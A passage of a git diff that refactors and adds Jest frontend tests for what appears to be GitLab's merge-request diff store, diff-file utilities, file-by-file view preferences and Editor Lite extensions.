- mutations[types.ADD_CURRENT_VIEW_DIFF_FILE_LINES](state, {
- filePath: 'test',
- line: 'test',
- });
-
- expect(file[`${current}_diff_lines`]).toEqual(['test']);
- expect(file[`${hidden}_diff_lines`]).toEqual([]);
-
- mutations[types.ADD_CURRENT_VIEW_DIFF_FILE_LINES](state, {
- filePath: 'test',
- line: 'test2',
- });
-
- expect(file[`${current}_diff_lines`]).toEqual(['test', 'test2']);
- expect(file[`${hidden}_diff_lines`]).toEqual([]);
+ it('pushes to inline lines', () => {
+ const file = { file_path: 'test', [INLINE_DIFF_LINES_KEY]: [] };
+ const state = {
+ diffFiles: [file],
+ };
+
+ mutations[types.ADD_CURRENT_VIEW_DIFF_FILE_LINES](state, {
+ filePath: 'test',
+ line: 'test',
+ });
+
+ expect(file[INLINE_DIFF_LINES_KEY]).toEqual(['test']);
+
+ mutations[types.ADD_CURRENT_VIEW_DIFF_FILE_LINES](state, {
+ filePath: 'test',
+ line: 'test2',
});
+
+ expect(file[INLINE_DIFF_LINES_KEY]).toEqual(['test', 'test2']);
});
});
@@ -1060,4 +892,18 @@ describe('DiffsStoreMutations', () => {
expect(state.showSuggestPopover).toBe(false);
});
});
+
+ describe('SET_FILE_BY_FILE', () => {
+ it.each`
+ value | opposite
+ ${true} | ${false}
+ ${false} | ${true}
+ `('sets viewDiffsFileByFile to $value', ({ value, opposite }) => {
+ const state = { viewDiffsFileByFile: opposite };
+
+ mutations[types.SET_FILE_BY_FILE](state, value);
+
+ expect(state.viewDiffsFileByFile).toBe(value);
+ });
+ });
});
diff --git a/spec/frontend/diffs/store/utils_spec.js b/spec/frontend/diffs/store/utils_spec.js
index 866be0abd22..7ee97224707 100644
--- a/spec/frontend/diffs/store/utils_spec.js
+++ b/spec/frontend/diffs/store/utils_spec.js
@@ -10,7 +10,7 @@ import {
OLD_LINE_TYPE,
MATCH_LINE_TYPE,
INLINE_DIFF_VIEW_TYPE,
- PARALLEL_DIFF_VIEW_TYPE,
+ INLINE_DIFF_LINES_KEY,
} from '~/diffs/constants';
import { MERGE_REQUEST_NOTEABLE_TYPE } from '~/notes/constants';
import diffFileMockData from '../mock_data/diff_file';
@@ -20,14 +20,6 @@ import { noteableDataMock } from '../../notes/mock_data';
const getDiffFileMock = () => JSON.parse(JSON.stringify(diffFileMockData));
const getDiffMetadataMock = () => JSON.parse(JSON.stringify(diffMetadata));
-function extractLinesFromFile(file) {
- const unpackedParallel = file.parallel_diff_lines
- .flatMap(({ left, right }) => [left, right])
- .filter(Boolean);
-
- return [...file.highlighted_diff_lines, ...unpackedParallel];
-}
-
describe('DiffsStoreUtils', () => {
describe('findDiffFile', () => {
const files = [{ file_hash: 1, name: 'one' }];
@@ -45,7 +37,7 @@ describe('DiffsStoreUtils', () => {
});
});
- describe('findIndexInInlineLines and findIndexInParallelLines', () => {
+ describe('findIndexInInlineLines', () => {
const expectSet = (method, lines, invalidLines) => {
expect(method(lines, { oldLineNumber: 3, newLineNumber: 5 })).toEqual(4);
expect(method(invalidLines || lines, { oldLineNumber: 32, newLineNumber: 53 })).toEqual(-1);
@@ -53,44 +45,26 @@ describe('DiffsStoreUtils', () => {
describe('findIndexInInlineLines', () => {
it('should return correct index for given line numbers', () => {
- expectSet(utils.findIndexInInlineLines, getDiffFileMock().highlighted_diff_lines);
- });
- });
-
- describe('findIndexInParallelLines', () => {
- it('should return correct index for given line numbers', () => {
- expectSet(utils.findIndexInParallelLines, getDiffFileMock().parallel_diff_lines, []);
+ expectSet(utils.findIndexInInlineLines, getDiffFileMock()[INLINE_DIFF_LINES_KEY]);
});
});
});
describe('getPreviousLineIndex', () => {
- [
- { diffViewType: INLINE_DIFF_VIEW_TYPE, file: { parallel_diff_lines: [] } },
- { diffViewType: PARALLEL_DIFF_VIEW_TYPE, file: { highlighted_diff_lines: [] } },
- ].forEach(({ diffViewType, file }) => {
- describe(`with diffViewType (${diffViewType}) in split diffs`, () => {
- let diffFile;
-
- beforeEach(() => {
- diffFile = { ...clone(diffFileMockData), ...file };
- });
+ describe(`with diffViewType (inline) in split diffs`, () => {
+ let diffFile;
- it('should return the correct previous line number', () => {
- const emptyLines =
- diffViewType === INLINE_DIFF_VIEW_TYPE
- ? diffFile.parallel_diff_lines
- : diffFile.highlighted_diff_lines;
-
- // This expectation asserts that we cannot possibly be using the opposite view type lines in the next expectation
- expect(emptyLines.length).toBe(0);
- expect(
- utils.getPreviousLineIndex(diffViewType, diffFile, {
- oldLineNumber: 3,
- newLineNumber: 5,
- }),
- ).toBe(4);
- });
+ beforeEach(() => {
+ diffFile = { ...clone(diffFileMockData) };
+ });
+
+ it('should return the correct previous line number', () => {
+ expect(
+ utils.getPreviousLineIndex(INLINE_DIFF_VIEW_TYPE, diffFile, {
+ oldLineNumber: 3,
+ newLineNumber: 5,
+ }),
+ ).toBe(4);
});
});
});
@@ -100,82 +74,50 @@ describe('DiffsStoreUtils', () => {
const diffFile = getDiffFileMock();
const lineNumbers = { oldLineNumber: 3, newLineNumber: 5 };
const inlineIndex = utils.findIndexInInlineLines(
- diffFile.highlighted_diff_lines,
+ diffFile[INLINE_DIFF_LINES_KEY],
lineNumbers,
);
- const parallelIndex = utils.findIndexInParallelLines(
- diffFile.parallel_diff_lines,
- lineNumbers,
- );
- const atInlineIndex = diffFile.highlighted_diff_lines[inlineIndex];
- const atParallelIndex = diffFile.parallel_diff_lines[parallelIndex];
+ const atInlineIndex = diffFile[INLINE_DIFF_LINES_KEY][inlineIndex];
utils.removeMatchLine(diffFile, lineNumbers, false);
- expect(diffFile.highlighted_diff_lines[inlineIndex]).not.toEqual(atInlineIndex);
- expect(diffFile.parallel_diff_lines[parallelIndex]).not.toEqual(atParallelIndex);
+ expect(diffFile[INLINE_DIFF_LINES_KEY][inlineIndex]).not.toEqual(atInlineIndex);
utils.removeMatchLine(diffFile, lineNumbers, true);
- expect(diffFile.highlighted_diff_lines[inlineIndex + 1]).not.toEqual(atInlineIndex);
- expect(diffFile.parallel_diff_lines[parallelIndex + 1]).not.toEqual(atParallelIndex);
+ expect(diffFile[INLINE_DIFF_LINES_KEY][inlineIndex + 1]).not.toEqual(atInlineIndex);
});
});
describe('addContextLines', () => {
- [INLINE_DIFF_VIEW_TYPE, PARALLEL_DIFF_VIEW_TYPE].forEach(diffViewType => {
- it(`should add context lines for ${diffViewType}`, () => {
- const diffFile = getDiffFileMock();
- const inlineLines = diffFile.highlighted_diff_lines;
- const parallelLines = diffFile.parallel_diff_lines;
- const lineNumbers = { oldLineNumber: 3, newLineNumber: 5 };
- const contextLines = [{ lineNumber: 42, line_code: '123' }];
- const options = { inlineLines, parallelLines, contextLines, lineNumbers, diffViewType };
- const inlineIndex = utils.findIndexInInlineLines(inlineLines, lineNumbers);
- const parallelIndex = utils.findIndexInParallelLines(parallelLines, lineNumbers);
- const normalizedParallelLine = {
- left: options.contextLines[0],
- right: options.contextLines[0],
- line_code: '123',
- };
+ it(`should add context lines`, () => {
+ const diffFile = getDiffFileMock();
+ const inlineLines = diffFile[INLINE_DIFF_LINES_KEY];
+ const lineNumbers = { oldLineNumber: 3, newLineNumber: 5 };
+ const contextLines = [{ lineNumber: 42, line_code: '123' }];
+ const options = { inlineLines, contextLines, lineNumbers };
+ const inlineIndex = utils.findIndexInInlineLines(inlineLines, lineNumbers);
- utils.addContextLines(options);
+ utils.addContextLines(options);
- if (diffViewType === INLINE_DIFF_VIEW_TYPE) {
- expect(inlineLines[inlineIndex]).toEqual(contextLines[0]);
- } else {
- expect(parallelLines[parallelIndex]).toEqual(normalizedParallelLine);
- }
- });
+ expect(inlineLines[inlineIndex]).toEqual(contextLines[0]);
+ });
- it(`should add context lines properly with bottom parameter for ${diffViewType}`, () => {
- const diffFile = getDiffFileMock();
- const inlineLines = diffFile.highlighted_diff_lines;
- const parallelLines = diffFile.parallel_diff_lines;
- const lineNumbers = { oldLineNumber: 3, newLineNumber: 5 };
- const contextLines = [{ lineNumber: 42, line_code: '123' }];
- const options = {
- inlineLines,
- parallelLines,
- contextLines,
- lineNumbers,
- bottom: true,
- diffViewType,
- };
- const normalizedParallelLine = {
- left: options.contextLines[0],
- right: options.contextLines[0],
- line_code: '123',
- };
+ it(`should add context lines properly with bottom parameter`, () => {
+ const diffFile = getDiffFileMock();
+ const inlineLines = diffFile[INLINE_DIFF_LINES_KEY];
+ const lineNumbers = { oldLineNumber: 3, newLineNumber: 5 };
+ const contextLines = [{ lineNumber: 42, line_code: '123' }];
+ const options = {
+ inlineLines,
+ contextLines,
+ lineNumbers,
+ bottom: true,
+ };
- utils.addContextLines(options);
+ utils.addContextLines(options);
- if (diffViewType === INLINE_DIFF_VIEW_TYPE) {
- expect(inlineLines[inlineLines.length - 1]).toEqual(contextLines[0]);
- } else {
- expect(parallelLines[parallelLines.length - 1]).toEqual(normalizedParallelLine);
- }
- });
+ expect(inlineLines[inlineLines.length - 1]).toEqual(contextLines[0]);
});
});
@@ -195,7 +137,6 @@ describe('DiffsStoreUtils', () => {
new_line: 3,
old_line: 1,
},
- diffViewType: PARALLEL_DIFF_VIEW_TYPE,
linePosition: LINE_POSITION_LEFT,
lineRange: { start_line_code: 'abc_1_1', end_line_code: 'abc_2_2' },
};
@@ -256,7 +197,6 @@ describe('DiffsStoreUtils', () => {
new_line: 3,
old_line: 1,
},
- diffViewType: PARALLEL_DIFF_VIEW_TYPE,
linePosition: LINE_POSITION_LEFT,
};
@@ -424,20 +364,6 @@ describe('DiffsStoreUtils', () => {
expect(preppedLine).toEqual(correctLine);
});
- it('returns a nested object with "left" and "right" lines + the line code for `parallel` lines', () => {
- preppedLine = utils.prepareLineForRenamedFile({
- diffViewType: PARALLEL_DIFF_VIEW_TYPE,
- line: sourceLine,
- index: lineIndex,
- diffFile,
- });
-
- expect(Object.keys(preppedLine)).toEqual(['left', 'right', 'line_code']);
- expect(preppedLine.left).toEqual(correctLine);
- expect(preppedLine.right).toEqual(correctLine);
- expect(preppedLine.line_code).toEqual(correctLine.line_code);
- });
-
it.each`
brokenSymlink
${false}
@@ -474,35 +400,26 @@ describe('DiffsStoreUtils', () => {
preparedDiff = { diff_files: [mock] };
splitInlineDiff = {
- diff_files: [{ ...mock, parallel_diff_lines: undefined }],
+ diff_files: [{ ...mock }],
};
splitParallelDiff = {
- diff_files: [{ ...mock, highlighted_diff_lines: undefined }],
+ diff_files: [{ ...mock, [INLINE_DIFF_LINES_KEY]: undefined }],
};
completedDiff = {
- diff_files: [{ ...mock, highlighted_diff_lines: undefined }],
+ diff_files: [{ ...mock, [INLINE_DIFF_LINES_KEY]: undefined }],
};
- preparedDiff.diff_files = utils.prepareDiffData(preparedDiff);
- splitInlineDiff.diff_files = utils.prepareDiffData(splitInlineDiff);
- splitParallelDiff.diff_files = utils.prepareDiffData(splitParallelDiff);
- completedDiff.diff_files = utils.prepareDiffData(completedDiff, [mock]);
+ preparedDiff.diff_files = utils.prepareDiffData({ diff: preparedDiff });
+ splitInlineDiff.diff_files = utils.prepareDiffData({ diff: splitInlineDiff });
+ splitParallelDiff.diff_files = utils.prepareDiffData({ diff: splitParallelDiff });
+ completedDiff.diff_files = utils.prepareDiffData({
+ diff: completedDiff,
+ priorFiles: [mock],
+ });
});
it('sets the renderIt and collapsed attribute on files', () => {
- const firstParallelDiffLine = preparedDiff.diff_files[0].parallel_diff_lines[2];
-
- expect(firstParallelDiffLine.left.discussions.length).toBe(0);
- expect(firstParallelDiffLine.left).not.toHaveAttr('text');
- expect(firstParallelDiffLine.right.discussions.length).toBe(0);
- expect(firstParallelDiffLine.right).not.toHaveAttr('text');
- const firstParallelChar = firstParallelDiffLine.right.rich_text.charAt(0);
-
- expect(firstParallelChar).not.toBe(' ');
- expect(firstParallelChar).not.toBe('+');
- expect(firstParallelChar).not.toBe('-');
-
- const checkLine = preparedDiff.diff_files[0].highlighted_diff_lines[0];
+ const checkLine = preparedDiff.diff_files[0][INLINE_DIFF_LINES_KEY][0];
expect(checkLine.discussions.length).toBe(0);
expect(checkLine).not.toHaveAttr('text');
@@ -516,29 +433,14 @@ describe('DiffsStoreUtils', () => {
expect(preparedDiff.diff_files[0].collapsed).toBeFalsy();
});
- it('adds line_code to all lines', () => {
- expect(
- preparedDiff.diff_files[0].parallel_diff_lines.filter(line => !line.line_code),
- ).toHaveLength(0);
- });
-
- it('uses right line code if left has none', () => {
- const firstLine = preparedDiff.diff_files[0].parallel_diff_lines[0];
-
- expect(firstLine.line_code).toEqual(firstLine.right.line_code);
- });
-
it('guarantees an empty array for both diff styles', () => {
- expect(splitInlineDiff.diff_files[0].parallel_diff_lines.length).toEqual(0);
- expect(splitInlineDiff.diff_files[0].highlighted_diff_lines.length).toBeGreaterThan(0);
- expect(splitParallelDiff.diff_files[0].parallel_diff_lines.length).toBeGreaterThan(0);
- expect(splitParallelDiff.diff_files[0].highlighted_diff_lines.length).toEqual(0);
+ expect(splitInlineDiff.diff_files[0][INLINE_DIFF_LINES_KEY].length).toBeGreaterThan(0);
+ expect(splitParallelDiff.diff_files[0][INLINE_DIFF_LINES_KEY].length).toEqual(0);
});
it('merges existing diff files with newly loaded diff files to ensure split diffs are eventually completed', () => {
expect(completedDiff.diff_files.length).toEqual(1);
- expect(completedDiff.diff_files[0].parallel_diff_lines.length).toBeGreaterThan(0);
- expect(completedDiff.diff_files[0].highlighted_diff_lines.length).toBeGreaterThan(0);
+ expect(completedDiff.diff_files[0][INLINE_DIFF_LINES_KEY].length).toBeGreaterThan(0);
});
it('leaves files in the existing state', () => {
@@ -548,20 +450,26 @@ describe('DiffsStoreUtils', () => {
content_sha: 'ABC',
file_hash: 'DEF',
};
- const updatedFilesList = utils.prepareDiffData({ diff_files: [fakeNewFile] }, priorFiles);
+ const updatedFilesList = utils.prepareDiffData({
+ diff: { diff_files: [fakeNewFile] },
+ priorFiles,
+ });
expect(updatedFilesList).toEqual([mock, fakeNewFile]);
});
it('completes an existing split diff without overwriting existing diffs', () => {
// The current state has a file that has only loaded inline lines
- const priorFiles = [{ ...mock, parallel_diff_lines: [] }];
+ const priorFiles = [{ ...mock }];
// The next (batch) load loads two files: the other half of that file, and a new file
const fakeBatch = [
- { ...mock, highlighted_diff_lines: undefined },
- { ...mock, highlighted_diff_lines: undefined, content_sha: 'ABC', file_hash: 'DEF' },
+ { ...mock, [INLINE_DIFF_LINES_KEY]: undefined },
+ { ...mock, [INLINE_DIFF_LINES_KEY]: undefined, content_sha: 'ABC', file_hash: 'DEF' },
];
- const updatedFilesList = utils.prepareDiffData({ diff_files: fakeBatch }, priorFiles);
+ const updatedFilesList = utils.prepareDiffData({
+ diff: { diff_files: fakeBatch },
+ priorFiles,
+ });
expect(updatedFilesList).toEqual([
mock,
@@ -584,7 +492,7 @@ describe('DiffsStoreUtils', () => {
...splitInlineDiff.diff_files,
...splitParallelDiff.diff_files,
...completedDiff.diff_files,
- ].flatMap(file => extractLinesFromFile(file));
+ ].flatMap(file => [...file[INLINE_DIFF_LINES_KEY]]);
lines.forEach(line => {
expect(line.commentsDisabled).toBe(false);
@@ -599,7 +507,7 @@ describe('DiffsStoreUtils', () => {
beforeEach(() => {
mock = getDiffMetadataMock();
- preparedDiffFiles = utils.prepareDiffData(mock);
+ preparedDiffFiles = utils.prepareDiffData({ diff: mock, meta: true });
});
it('sets the renderIt and collapsed attribute on files', () => {
@@ -608,15 +516,14 @@ describe('DiffsStoreUtils', () => {
});
it('guarantees an empty array of lines for both diff styles', () => {
- expect(preparedDiffFiles[0].parallel_diff_lines.length).toEqual(0);
- expect(preparedDiffFiles[0].highlighted_diff_lines.length).toEqual(0);
+ expect(preparedDiffFiles[0][INLINE_DIFF_LINES_KEY].length).toEqual(0);
});
it('leaves files in the existing state', () => {
const fileMock = getDiffFileMock();
const metaData = getDiffMetadataMock();
const priorFiles = [fileMock];
- const updatedFilesList = utils.prepareDiffData(metaData, priorFiles);
+ const updatedFilesList = utils.prepareDiffData({ diff: metaData, priorFiles, meta: true });
expect(updatedFilesList.length).toEqual(2);
expect(updatedFilesList[0]).toEqual(fileMock);
@@ -641,14 +548,13 @@ describe('DiffsStoreUtils', () => {
const fileMock = getDiffFileMock();
const metaMock = getDiffMetadataMock();
const priorFiles = [{ ...fileMock }];
- const updatedFilesList = utils.prepareDiffData(metaMock, priorFiles);
+ const updatedFilesList = utils.prepareDiffData({ diff: metaMock, priorFiles, meta: true });
expect(updatedFilesList).toEqual([
fileMock,
{
...metaMock.diff_files[0],
- highlighted_diff_lines: [],
- parallel_diff_lines: [],
+ [INLINE_DIFF_LINES_KEY]: [],
},
]);
});
@@ -1217,30 +1123,19 @@ describe('DiffsStoreUtils', () => {
it('converts inline diff lines to parallel diff lines', () => {
const file = getDiffFileMock();
- expect(utils.parallelizeDiffLines(file.highlighted_diff_lines)).toEqual(
+ expect(utils.parallelizeDiffLines(file[INLINE_DIFF_LINES_KEY])).toEqual(
file.parallel_diff_lines,
);
});
- /**
- * What's going on here?
- *
- * The inline version of parallelizeDiffLines simply keeps the difflines
- * in the same order they are received as opposed to shuffling them
- * to be "side by side".
- *
- * This keeps the underlying data structure the same which simplifies
- * the components, but keeps the changes grouped together as users
- * expect when viewing changes inline.
- */
- it('converts inline diff lines to inline diff lines with a parallel structure', () => {
+ it('converts inline diff lines', () => {
const file = getDiffFileMock();
const files = utils.parallelizeDiffLines(file.highlighted_diff_lines, true);
expect(files[5].left).toEqual(file.parallel_diff_lines[5].left);
expect(files[5].right).toBeNull();
- expect(files[6].left).toBeNull();
- expect(files[6].right).toEqual(file.parallel_diff_lines[5].right);
+ expect(files[6].left).toEqual(file.parallel_diff_lines[5].right);
+ expect(files[6].right).toBeNull();
});
});
});
diff --git a/spec/frontend/diffs/utils/diff_file_spec.js b/spec/frontend/diffs/utils/diff_file_spec.js
new file mode 100644
index 00000000000..2e6247b8c07
--- /dev/null
+++ b/spec/frontend/diffs/utils/diff_file_spec.js
@@ -0,0 +1,126 @@
+import { prepareRawDiffFile } from '~/diffs/utils/diff_file';
+
+function getDiffFiles() {
+ return [
+ {
+ blob: {
+ id: 'C0473471',
+ },
+ file_hash: 'ABC', // This file is just a normal file
+ file_identifier_hash: 'ABC1',
+ },
+ {
+ blob: {
+ id: 'C0473472',
+ },
+ file_hash: 'DEF', // This file replaces a symlink
+ file_identifier_hash: 'DEF1',
+ a_mode: '0',
+ b_mode: '0755',
+ },
+ {
+ blob: {
+ id: 'C0473473',
+ },
+ file_hash: 'DEF', // This symlink is replaced by a file
+ file_identifier_hash: 'DEF2',
+ a_mode: '120000',
+ b_mode: '0',
+ },
+ {
+ blob: {
+ id: 'C0473474',
+ },
+ file_hash: 'GHI', // This symlink replaces a file
+ file_identifier_hash: 'GHI1',
+ a_mode: '0',
+ b_mode: '120000',
+ },
+ {
+ blob: {
+ id: 'C0473475',
+ },
+ file_hash: 'GHI', // This file is replaced by a symlink
+ file_identifier_hash: 'GHI2',
+ a_mode: '0755',
+ b_mode: '0',
+ },
+ ];
+}
+function makeBrokenSymlinkObject(replaced, wasSymbolic, isSymbolic, wasReal, isReal) {
+ return {
+ replaced,
+ wasSymbolic,
+ isSymbolic,
+ wasReal,
+ isReal,
+ };
+}
+
+describe('diff_file utilities', () => {
+ describe('prepareRawDiffFile', () => {
+ let files;
+
+ beforeEach(() => {
+ files = getDiffFiles();
+ });
+
+ it.each`
+ fileIndex | description | brokenSymlink
+ ${0} | ${'a file that is not symlink-adjacent'} | ${false}
+ ${1} | ${'a file that replaces a symlink'} | ${makeBrokenSymlinkObject(false, false, false, false, true)}
+ ${2} | ${'a symlink that is replaced by a file'} | ${makeBrokenSymlinkObject(true, true, false, false, false)}
+ ${3} | ${'a symlink that replaces a file'} | ${makeBrokenSymlinkObject(false, false, true, false, false)}
+ ${4} | ${'a file that is replaced by a symlink'} | ${makeBrokenSymlinkObject(true, false, false, true, false)}
+ `(
+ 'properly marks $description with the correct .brokenSymlink value',
+ ({ fileIndex, brokenSymlink }) => {
+ const preppedRaw = prepareRawDiffFile({
+ file: files[fileIndex],
+ allFiles: files,
+ });
+
+ expect(preppedRaw.brokenSymlink).toStrictEqual(brokenSymlink);
+ },
+ );
+
+ it.each`
+ fileIndex | id
+ ${0} | ${'8dcd585e-a421-4dab-a04e-6f88c81b7b4c'}
+ ${1} | ${'3f178b78-392b-44a4-bd7d-5d6192208a97'}
+ ${2} | ${'3d9e1354-cddf-4a11-8234-f0413521b2e5'}
+ ${3} | ${'460f005b-d29d-43c1-9a08-099a7c7f08de'}
+ ${4} | ${'d8c89733-6ce1-4455-ae3d-f8aad6ee99f9'}
+ `('sets the file id properly { id: $id } on normal diff files', ({ fileIndex, id }) => {
+ const preppedFile = prepareRawDiffFile({
+ file: files[fileIndex],
+ allFiles: files,
+ });
+
+ expect(preppedFile.id).toBe(id);
+ });
+
+ it('does not set the `id` property for metadata diff files', () => {
+ const preppedFile = prepareRawDiffFile({
+ file: files[0],
+ allFiles: files,
+ meta: true,
+ });
+
+ expect(preppedFile).not.toHaveProp('id');
+ });
+
+ it('does not set the id property if the file is missing a `blob.id`', () => {
+ const fileMissingContentSha = { ...files[0] };
+
+ delete fileMissingContentSha.blob.id;
+
+ const preppedFile = prepareRawDiffFile({
+ file: fileMissingContentSha,
+ allFiles: files,
+ });
+
+ expect(preppedFile).not.toHaveProp('id');
+ });
+ });
+});
diff --git a/spec/frontend/diffs/utils/preferences_spec.js b/spec/frontend/diffs/utils/preferences_spec.js
new file mode 100644
index 00000000000..a48db1d7512
--- /dev/null
+++ b/spec/frontend/diffs/utils/preferences_spec.js
@@ -0,0 +1,40 @@
+import Cookies from 'js-cookie';
+import { getParameterValues } from '~/lib/utils/url_utility';
+
+import { fileByFile } from '~/diffs/utils/preferences';
+import {
+ DIFF_FILE_BY_FILE_COOKIE_NAME,
+ DIFF_VIEW_FILE_BY_FILE,
+ DIFF_VIEW_ALL_FILES,
+} from '~/diffs/constants';
+
+jest.mock('~/lib/utils/url_utility');
+
+describe('diffs preferences', () => {
+ describe('fileByFile', () => {
+ it.each`
+ result | preference | cookie | searchParam
+ ${false} | ${false} | ${undefined} | ${undefined}
+ ${true} | ${true} | ${undefined} | ${undefined}
+ ${true} | ${false} | ${DIFF_VIEW_FILE_BY_FILE} | ${undefined}
+ ${false} | ${true} | ${DIFF_VIEW_ALL_FILES} | ${undefined}
+ ${true} | ${false} | ${undefined} | ${[DIFF_VIEW_FILE_BY_FILE]}
+ ${false} | ${true} | ${undefined} | ${[DIFF_VIEW_ALL_FILES]}
+ ${true} | ${false} | ${DIFF_VIEW_FILE_BY_FILE} | ${[DIFF_VIEW_FILE_BY_FILE]}
+ ${true} | ${true} | ${DIFF_VIEW_ALL_FILES} | ${[DIFF_VIEW_FILE_BY_FILE]}
+ ${false} | ${false} | ${DIFF_VIEW_ALL_FILES} | ${[DIFF_VIEW_ALL_FILES]}
+ ${false} | ${true} | ${DIFF_VIEW_FILE_BY_FILE} | ${[DIFF_VIEW_ALL_FILES]}
+ `(
+ 'should return $result when { preference: $preference, cookie: $cookie, search: $searchParam }',
+ ({ result, preference, cookie, searchParam }) => {
+ if (cookie) {
+ Cookies.set(DIFF_FILE_BY_FILE_COOKIE_NAME, cookie);
+ }
+
+ getParameterValues.mockReturnValue(searchParam);
+
+ expect(fileByFile(preference)).toBe(result);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/editor/editor_lite_extension_base_spec.js b/spec/frontend/editor/editor_lite_extension_base_spec.js
new file mode 100644
index 00000000000..ff53640b096
--- /dev/null
+++ b/spec/frontend/editor/editor_lite_extension_base_spec.js
@@ -0,0 +1,44 @@
+import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION } from '~/editor/constants';
+import { EditorLiteExtension } from '~/editor/editor_lite_extension_base';
+
+describe('The basis for an Editor Lite extension', () => {
+ let ext;
+ const defaultOptions = { foo: 'bar' };
+
+ it.each`
+ description | instance | options
+ ${'accepts configuration options and instance'} | ${{}} | ${defaultOptions}
+ ${'leaves instance intact if no options are passed'} | ${{}} | ${undefined}
+ ${'does not fail if both instance and the options are omitted'} | ${undefined} | ${undefined}
+ ${'throws if only options are passed'} | ${undefined} | ${defaultOptions}
+ `('$description', ({ instance, options } = {}) => {
+ const originalInstance = { ...instance };
+
+ if (instance) {
+ if (options) {
+ Object.entries(options).forEach(prop => {
+ expect(instance[prop]).toBeUndefined();
+ });
+ // Both instance and options are passed
+ ext = new EditorLiteExtension({ instance, ...options });
+ Object.entries(options).forEach(([prop, value]) => {
+ expect(ext[prop]).toBeUndefined();
+ expect(instance[prop]).toBe(value);
+ });
+ } else {
+ ext = new EditorLiteExtension({ instance });
+ expect(instance).toEqual(originalInstance);
+ }
+ } else if (options) {
+ // Options are passed without instance
+ expect(() => {
+ ext = new EditorLiteExtension({ ...options });
+ }).toThrow(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
+ } else {
+ // Neither options nor instance are passed
+ expect(() => {
+ ext = new EditorLiteExtension();
+ }).not.toThrow();
+ }
+ });
+});
diff --git a/spec/frontend/editor/editor_lite_spec.js b/spec/frontend/editor/editor_lite_spec.js
index 2968984df01..3a7680f6d17 100644
--- a/spec/frontend/editor/editor_lite_spec.js
+++ b/spec/frontend/editor/editor_lite_spec.js
@@ -1,6 +1,8 @@
+/* eslint-disable max-classes-per-file */
import { editor as monacoEditor, languages as monacoLanguages, Uri } from 'monaco-editor';
import waitForPromises from 'helpers/wait_for_promises';
import Editor from '~/editor/editor_lite';
+import { EditorLiteExtension } from '~/editor/editor_lite_extension_base';
import { DEFAULT_THEME, themes } from '~/ide/lib/themes';
import { EDITOR_LITE_INSTANCE_ERROR_NO_EL, URI_PREFIX } from '~/editor/constants';
@@ -242,17 +244,53 @@ describe('Base editor', () => {
describe('extensions', () => {
let instance;
- const foo1 = jest.fn();
- const foo2 = jest.fn();
- const bar = jest.fn();
- const MyExt1 = {
- foo: foo1,
+ const alphaRes = jest.fn();
+ const betaRes = jest.fn();
+ const fooRes = jest.fn();
+ const barRes = jest.fn();
+ class AlphaClass {
+ constructor() {
+ this.res = alphaRes;
+ }
+ alpha() {
+ return this?.nonExistentProp || alphaRes;
+ }
+ }
+ class BetaClass {
+ beta() {
+ return this?.nonExistentProp || betaRes;
+ }
+ }
+ class WithStaticMethod {
+ constructor({ instance: inst, ...options } = {}) {
+ Object.assign(inst, options);
+ }
+ static computeBoo(a) {
+ return a + 1;
+ }
+ boo() {
+ return WithStaticMethod.computeBoo(this.base);
+ }
+ }
+ class WithStaticMethodExtended extends EditorLiteExtension {
+ static computeBoo(a) {
+ return a + 1;
+ }
+ boo() {
+ return WithStaticMethodExtended.computeBoo(this.base);
+ }
+ }
+ const AlphaExt = new AlphaClass();
+ const BetaExt = new BetaClass();
+ const FooObjExt = {
+ foo() {
+ return fooRes;
+ },
};
- const MyExt2 = {
- bar,
- };
- const MyExt3 = {
- foo: foo2,
+ const BarObjExt = {
+ bar() {
+ return barRes;
+ },
};
describe('basic functionality', () => {
@@ -260,13 +298,6 @@ describe('Base editor', () => {
instance = editor.createInstance({ el: editorEl, blobPath, blobContent });
});
- it('is extensible with the extensions', () => {
- expect(instance.foo).toBeUndefined();
-
- instance.use(MyExt1);
- expect(instance.foo).toEqual(foo1);
- });
-
it('does not fail if no extensions supplied', () => {
const spy = jest.spyOn(global.console, 'error');
instance.use();
@@ -274,24 +305,80 @@ describe('Base editor', () => {
expect(spy).not.toHaveBeenCalled();
});
- it('is extensible with multiple extensions', () => {
- expect(instance.foo).toBeUndefined();
- expect(instance.bar).toBeUndefined();
+ it("does not extend instance with extension's constructor", () => {
+ expect(instance.constructor).toBeDefined();
+ const { constructor } = instance;
+
+ expect(AlphaExt.constructor).toBeDefined();
+ expect(AlphaExt.constructor).not.toEqual(constructor);
+
+ instance.use(AlphaExt);
+ expect(instance.constructor).toBe(constructor);
+ });
+
+ it.each`
+ type | extensions | methods | expectations
+ ${'ES6 classes'} | ${AlphaExt} | ${['alpha']} | ${[alphaRes]}
+ ${'multiple ES6 classes'} | ${[AlphaExt, BetaExt]} | ${['alpha', 'beta']} | ${[alphaRes, betaRes]}
+ ${'simple objects'} | ${FooObjExt} | ${['foo']} | ${[fooRes]}
+ ${'multiple simple objects'} | ${[FooObjExt, BarObjExt]} | ${['foo', 'bar']} | ${[fooRes, barRes]}
+ ${'combination of ES6 classes and objects'} | ${[AlphaExt, BarObjExt]} | ${['alpha', 'bar']} | ${[alphaRes, barRes]}
+ `('is extensible with $type', ({ extensions, methods, expectations } = {}) => {
+ methods.forEach(method => {
+ expect(instance[method]).toBeUndefined();
+ });
- instance.use([MyExt1, MyExt2]);
+ instance.use(extensions);
- expect(instance.foo).toEqual(foo1);
- expect(instance.bar).toEqual(bar);
+ methods.forEach(method => {
+ expect(instance[method]).toBeDefined();
+ });
+
+ expectations.forEach((expectation, i) => {
+ expect(instance[methods[i]].call()).toEqual(expectation);
+ });
});
+ it('does not extend instance with private data of an extension', () => {
+ const ext = new WithStaticMethod({ instance });
+ ext.staticMethod = () => {
+ return 'foo';
+ };
+ ext.staticProp = 'bar';
+
+ expect(instance.boo).toBeUndefined();
+ expect(instance.staticMethod).toBeUndefined();
+ expect(instance.staticProp).toBeUndefined();
+
+ instance.use(ext);
+
+ expect(instance.boo).toBeDefined();
+ expect(instance.staticMethod).toBeUndefined();
+ expect(instance.staticProp).toBeUndefined();
+ });
+
+ it.each([WithStaticMethod, WithStaticMethodExtended])(
+ 'properly resolves data for an extension with private data',
+ ExtClass => {
+ const base = 1;
+ expect(instance.base).toBeUndefined();
+ expect(instance.boo).toBeUndefined();
+
+ const ext = new ExtClass({ instance, base });
+
+ instance.use(ext);
+ expect(instance.base).toBe(1);
+ expect(instance.boo()).toBe(2);
+ },
+ );
+
